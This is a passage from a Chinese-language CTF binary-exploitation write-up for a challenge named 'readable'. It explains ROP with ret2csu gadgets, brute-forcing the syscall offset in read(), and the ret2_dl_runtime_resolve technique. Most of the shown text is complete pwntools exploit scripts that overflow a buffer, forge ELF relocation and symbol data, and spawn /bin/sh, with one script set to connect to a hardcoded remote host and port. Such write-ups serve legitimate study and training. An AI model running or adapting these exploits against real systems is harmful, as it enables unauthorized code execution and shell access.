# rdi = r15 = 0,rsi = r14 = read_got,rdx = r13 = 0x01,call(r12+rbx*8) = call(read_got+0*8)
# read(0,read_got,1) rax存储返回值,read()成功,则返回读取的字节数,这将rax设置为了0x01
shellcode += p64(call_func_addr)
shellcode += 'A' * 8 # 0x400586 add rsp, 8
# rbx,rbp,r12,r13,r14,r15
shellcode += p64(0x0) + p64(0x01) + p64(read_got) + p64(0x04) + p64(head_addr) + p64(0x01)
# rdi = r15 = 0x01,rsi = r14 = head_addr,rdx = r13 = 0x04,call(r12+rbx*8) = call(read_got+0*8)
# write(1,head_addr,4),若dis成功将read_got指向syscall,则执行write()
shellcode += p64(call_func_addr)
length = len(shellcode)
print "shellcode length:" + str(length)
if length % 16 != 0:
length += 16 - length % 16
payload = shellcode.ljust(length,'\x90')
print "payload length:" + str(len(payload))
for i in range(0,length,16):
# buf,rbp,ret_address
io.send('A'*0x10 + p64(buff_addr + 0x10 + i) + p64(main_addr))
# buf,rbp,ret_address
io.send(payload[i:i+16] + p64(bss_addr + 0x10) + p64(main_addr))
io.send('A'*0x10 + p64(buff_addr - 0x08) + p64(leave_ret))
# raw_input('before send dis')
io.send(chr(dis))
print "dis:",hex(dis)
# raw_input('before receive data')
try:
data = io.recv(4,timeout=0.5)
print [c for c in data]
if data == '\x7FELF':
print "[*]Find the offset of syscall in read() function :",hex(dis)
raw_input()
except Exception,e:
pass
def get_syscall_dis():
dis = 0
for dis in range(0,0x100):
try:
io = get_io()
print "-------------------Start-----------------------"
brute_syscall_addr(io,dis)
print "--------------------End------------------------\n"
except Exception,e:
raise
else:
pass
finally:
pass
def pwn(io,dis):
shellcode = ""
shellcode += p64(set_args_addr)
# rbx,rbp,r12,r13,r14,r15
shellcode += p64(0x0) + p64(0x01) + p64(read_got) + p64(0x3b) + p64(read_got - 0x3b + 1) + p64(0x0)
# rdi = r15 = 0,rsi = r14 = (read_got-0x3a),rdx = r13 = 0x3b,call(r12+rbx*8) = call(read_got+0*8)
# read(0,read_got-0x3a,3b) rax存储返回值,read()成功,则返回读取的字节数,这将rax设置为了0x3b
shellcode += p64(call_func_addr)
shellcode += 'A' * 8 # 0x400586 add rsp, 8
# rbx,rbp,r12,r13,r14,r15
shellcode += p64(0x0) + p64(0x01) + p64(read_got) + p64(0x0) + p64(0x0) + p64(bss_addr)
# rdi = r15 = bss_addr("/bin/sh"),rsi = r14 = 0,rdx = r13 = 0,call(r12+rbx*8) = call(read_got+0*8)
# execvl("/bin/sh",0,0)
shellcode += p64(call_func_addr)
length = len(shellcode)
print "shellcode length:" + str(length)
if length % 16 != 0:
length += 16 - length % 16
payload = shellcode.ljust(length,'\x90')
print "payload length:" + str(len(payload))
for i in range(0,length,16):
# 'A'*0x10---RBP---ret_addr buffer的地址使用RBP-0x10算出,shellcode从0x600930(bss_addr+0x20)开始存储
# raw_input('---------[%d] Adjust buffer address---------'%i)
io.send('A'*0x10 + p64(buff_addr + 0x10 + i) + p64(main_addr))
# raw_input('-------------[%d] Send payload-------------'%i)
io.send(payload[i:i+16] + p64(bss_addr + 0x10) + p64(main_addr)) #bss节前0x20字节用于调整buffer地址
padding = "/bin/sh".ljust(0x10,'\x00')
# raw_input('-------------Send "/bin/sh"-------------')
io.send(padding + p64(buff_addr - 0x08) + p64(leave_ret)) #发送"/bin/sh",设置rsp指向shellcode,并跳转到shellcode执行
io.send('A'*(0x3b-1) + chr(dis))
io.interactive()
if __name__ == '__main__':
# get_syscall_dis()
io = get_io()
dis = 0x1e # or 0x3b
pwn(io,dis)
4、方法二:使用ret2_dl_runtime_resolve方式进行利用
利用思路:
- 1、构造
fake_reloc_data
、fake_sym_data
、func_name
、binsh_str
、shellcode
数据,并写入到合适的位置。计算数据写入地址
时,需要注意一些情况。一般情况,这些数据都会写入到.bss节之后
的位置。x64情况
下,在_dl_runtime_resolve()
函数和_dl_fixup()
函数中,程序会通过rsp
保存寄存器数据
到栈上和修改栈上的数据
,并且范围较大
。由于此程序在通过read()函数
多次读入数据时,修改了rbp
,使得rbp
和rsp
都指向.bss节之后的地址
。我们在进入符号解析函数
时,解析函数会减小rsp
,用于存储寄存器数据
,并且会将栈上的一些数据清零
。这会导致.bss节之前节
的数据被修改
,造成无法解析
system函数的地址。所以我们需要在shellcode写入地址前
留够一定的空间,供符号解析函数
使用。而fake_reloc_data
、fake_sym_data
、func_name
、binsh_str
等数据一般写在shellcode之后
的位置。
下面是_dl_runtime_resolve()
函数和_dl_fixup()
函数中对rsp和rbp修改
,以及利用rsp和rbp
修改栈上数据
的代码片段:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24_dl_runtime_resolve():
ld_2.23.so:00007F3988E58F14 and rsp, 0FFFFFFFFFFFFFFC0h
ld_2.23.so:00007F3988E58F18 sub rsp, cs:qword_7F3989066D50(0x3C0)
ld_2.23.so:00007F3988E58F1F mov [rsp], rax
ld_2.23.so:00007F3988E58F23 mov [rsp+8], rcx
ld_2.23.so:00007F3988E58F28 mov [rsp+10h], rdx
ld_2.23.so:00007F3988E58F2D mov [rsp+18h], rsi
ld_2.23.so:00007F3988E58F32 mov [rsp+20h], rdi
ld_2.23.so:00007F3988E58F37 mov [rsp+28h], r8
ld_2.23.so:00007F3988E58F3C mov [rsp+30h], r9
ld_2.23.so:00007F3988E58F41 mov eax, 0EEh
ld_2.23.so:00007F3988E58F46 xor edx, edx
ld_2.23.so:00007F3988E58F48 mov [rsp+250h], rdx
ld_2.23.so:00007F3988E58F50 mov [rsp+258h], rdx
ld_2.23.so:00007F3988E58F58 mov [rsp+260h], rdx
ld_2.23.so:00007F3988E58F60 mov [rsp+268h], rdx
ld_2.23.so:00007F3988E58F68 mov [rsp+270h], rdx
ld_2.23.so:00007F3988E58F70 mov [rsp+278h], rdx
ld_2.23.so:00007F3988E58F78 xsavec byte ptr [rsp+40h]
_dl_fixup():
ld_2.23.so:00007F3988E50A3A sub rsp, 10h
ld_2.23.so:00007F3988E50C10 sub rsp, 78h
ld_2.23.so:00007F3988E51203 sub rsp, 38h
- 2、将
fake数据
写入到指定地址
后,还需要修改.dynamic节
中DT_VERSYM动态节类型
所对应的动态节表项
中的vernum表的地址
,使得ndx = vernum + sym_index*2
地址处的ndx值
为合理值。
1 | # modify versym dynamic addr(.gnu.version) |
- 3、构造
shellcode
,首先将“/bin/sh”的地址
存入rdi寄存器
,然后返回到PLT0
处的代码,传入system重定位项
在重定位表
中的下标
,利用符号解析函数
,计算system函数的地址
。解析完system函数的地址后,就会调用system("/bin/sh")
。从而获取shell。
1 | shellcode = "" |
- 4、向内存中
写入shellcode后
,还需要写入一段数据,用于调整rsp
,使程序跳转到shellcode
执行。
1 | # buf--rbp--ret_address |
完整exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141# Author:Sp4n9x
# -*- coding:utf-8 -*-
from pwn import *
# x64
# Elf64_Rel *reloc = JMPREL + reloc_index*3*8
# Elf64_Sym *sym = &SYMTAB[(reloc->r_info)>>0x20]
# i.e. *sym = DT_SYMTAB + [(reloc->r_info)>>0x20]*3*8
# assert(((reloc->r_info)&0xFFFFFFFF) == 0x7) type
# if((sym->st_other)&3 == 0) if not resolved
# uint16_t ndx = VERSYM[(reloc->r_info)>>0x20]
# r_found_version *version = &l->l_version[ndx]
# name = STRTAB + sym->st_name
# modify ret_addr = PLT0、the first arg = reloc_index、rdi = addr("/bin/sh")
# modify (jmprel + reloc_index*3*8) <== fake_reloc_data
# modify (symtab + [(reloc->r_info)>>0x20]*3*8) <== fake_sym_data
# modify (strtab + sym->st_name) <== 'system\x00'
# modify (link_map + 0x1c8 == 0) or (versym + sym_index*2 可被访问) #第2点在64位系统中很难满足,第1点需要泄露link_map的值。
context.clear()
context.log_level = 'debug'
context.binary = './readable'
context = {'arch':'amd64','bits':'64','endian':'little','os':'linux'}
def get_io():
if args['REMOTE']:
io = remote('52.68.53.28',56746)
else:
io = process('./readable')
# io = gdb.debug('./readable','''bp 0x4004FD
# bp 0x40051B''')
return io
'''
typedef struct {
Elf64_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */ 8byte
Elf64_Xword r_info; /* 重定位类型和符号表下标 */ 8byte
Elf64_Sxword r_addend; /* Addend */ 8byte
} Elf64_Rela;
'''
def generate_x64_reloc_data(sym_index,got_plt):
return p64(got_plt) + p64((sym_index<<0x20) + 0x07) + p64(0)
'''
typedef struct {
Elf64_Word st_name; /* 符号名,符号在字符串表中的偏移 */ 4byte
unsigned char st_info; /* 符号类型及绑定属性 */ 1byte
unsigned char st_other; /* 符号的可见性 */ 1byte
Elf64_Section st_shndx; /* 节头表索引 */ 2byte
Elf64_Addr st_value; /* 符号的值,可能是地址或偏移 */ 8byte
Elf64_Xword st_size; /* 符号的大小 */ 8byte
} Elf64_Sym;
'''
def generate_x64_sym_data(name_offset):
return p32(name_offset) + p32(0x12) + p64(0) + p64(0)
'''
内存布局:
0x600910 - 0x600930 Adjust buffer address
0x600930 - 0x600940 system_got
0x600940 - 0x600F20 0x5E0
0x600F20 - 0x600F40 shellcode
0x600F40 - 0x600F88 0x50
0x600F88 - 0x600FA8 reloc_data (align 0x18)
0x600FA8 - 0x600FB0 0x8
0x600FB0 - 0x600FD0 sym_data (align 0x18)
0x600FD0 - 0x600FE0 func_name("system")
0x600FE0 - 0x600FF0 binsh_str("/bin/sh")
'''
DT_JMPREL = 0x400360
DT_SYMTAB = 0x400280
DT_STRTAB = 0x4002E0
DT_VERSYM = 0x40031E
bss_addr = 0x600910
system_got = bss_addr + 0x20
buff_addr = bss_addr + 0x610
main_addr = 0x400505
PLT0 = 0x4003D0
p_rdi_ret = 0x400593
leave_ret = 0x400520
# reloc_data_addr(0x600F88) = DT_JMPREL(0x400360) + reloc_index(0x155D7)*3*8
reloc_index = 0x155D7
# sym_data_addr(0x600FB0) = DT_SYMTAB(0x400280) + sym_index(0x155E2)*3*8
reloc_data_addr = 0x600F88
reloc_data = generate_x64_reloc_data(0x155E2,system_got)
# func_name_addr(0x600FD0) = DT_STRTAB(0x4002E0) + name_offset(0x200CF0)
sym_data_addr = 0x600FB0
sym_data = generate_x64_sym_data(0x200CF0)
# func_name_addr(0x600FD0) = sym_data_addr(0x600FB0) + 0x20
func_name_addr = 0x600FD0
func_name = "system\x00"
# binsh_str_addr(0x600FE0) = func_name_addr(0x600FD0) + 0x10
binsh_str_addr = 0x600FE0
binsh_str = "/bin/sh\x00"
def write_data_to_address(address,data):
length = len(data)
print "Data length:" + str(length)
if length % 16 != 0:
length += 16 - length % 16
payload = data.ljust(length,'\x90')
print "Payload length:" + str(length)
for i in range(0,length,16):
# 'A'*0x10---RBP---ret_addr buffer的地址使用RBP-0x10算出
# raw_input('---------Adjust buffer address---------')
io.send('A'*0x10 + p64(address + 0x10 + i) + p64(main_addr))
# raw_input('-------------Send payload-------------')
io.send(payload[i:i+16] + p64(bss_addr + 0x10) + p64(main_addr)) # 每次只能往内存中写0x10字节数据
def pwn(io):
# modify versym dynamic addr(.gnu.version)
# DT_VERSYM(0x40031E) - sym_index(0x155E2)*2 = 0x3D575A or 0x6006F0 - sym_index(0x155E2)*2 = 0x5D5B2C
# raw_input('---------[1] Before modify versym dynamic address---------')
write_data_to_address(0x600858,p64(0x6FFFFFF0) + p64(0x3D575A)) # versym + sym_index*2 可被访问
# raw_input('---------[2] Before send reloc_data---------')
write_data_to_address(reloc_data_addr,reloc_data)
# raw_input('---------[3] Before send sym_data---------')
write_data_to_address(sym_data_addr,sym_data)
# raw_input('---------[4] Before send func_name---------')
write_data_to_address(func_name_addr,func_name)
# raw_input('---------[5] Before send binsh_str---------')
write_data_to_address(binsh_str_addr,binsh_str)
shellcode = ""
shellcode += p64(p_rdi_ret) + p64(binsh_str_addr) # "/bin/sh"
shellcode += p64(PLT0) + p64(reloc_index)
write_data_to_address(buff_addr,shellcode) #
# raw_input('-------------Before send adjust rsp code-------------')
io.send('A'*0x10 + p64(buff_addr - 0x8) + p64(leave_ret))
io.interactive()
if __name__ == '__main__':
io = get_io()
pwn(io)
Reference
[ 01 ]:程序员的自我修养—链接、装载与库
[ 02 ]:ELF文件系列第五篇ELF文件静态结构中的重定位项
[ 03 ]:glibc/elf/elf.h
[ 04 ]:聊聊动态链接和dl_runtime_resolve
[ 05 ]:Linux二进制分析
[ 06 ]:dl-resolve浅析
[ 07 ]:Linux pwn入门教程(10)——针对函数重定位流程的几种攻击
[ 08 ]:详细解析ret2_dl_runtime_resolve
[ 09 ]:Oracle® Solaris 11.2 链接程序和库指南
[ 10 ]:glibc动态链接器dl_runtime_resolve简要分析
[ 11 ]:Linux下库函数动态链接过程分析-结合glibc-2.11源码
[ 12 ]:ret2dl x64 & x32的差异
[ 13 ]:ret2dl-runtime-resolve详细分析(32位&64位)